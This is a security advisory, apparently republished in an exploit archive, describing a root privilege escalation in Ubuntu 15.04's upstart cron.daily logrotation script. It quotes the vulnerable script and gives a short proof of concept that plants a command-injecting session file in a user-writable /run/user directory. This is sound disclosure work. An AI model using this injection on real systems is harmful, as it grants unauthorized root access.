Ubuntu 15.04 (Development) – ‘Upstart’ Logrotation Privilege Escalation
Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/ ## Introduction Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges. ## Methods The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation: #!/bin/sh # For each Upstart Session Init, emit "rotate-logs" event, requesting # the session Inits to rotate their logs. There is no user-daily cron. # # Doing it this way does not rely on System Upstart, nor # upstart-event-bridge(8) running in the Session Init. # # Note that system-level Upstart logs are handled separately using a # logrotate script. [ -x /sbin/initctl ] || exit 0 for session in /run/user/*/upstart/sessions/* do env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true done On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example: cat <<EOF > "${HOME}/esc" #!/bin/sh touch /esc-done EOF chmod 0755 "${HOME}/esc" mkdir -p /run/user/[uid]/upstart/sessions echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x |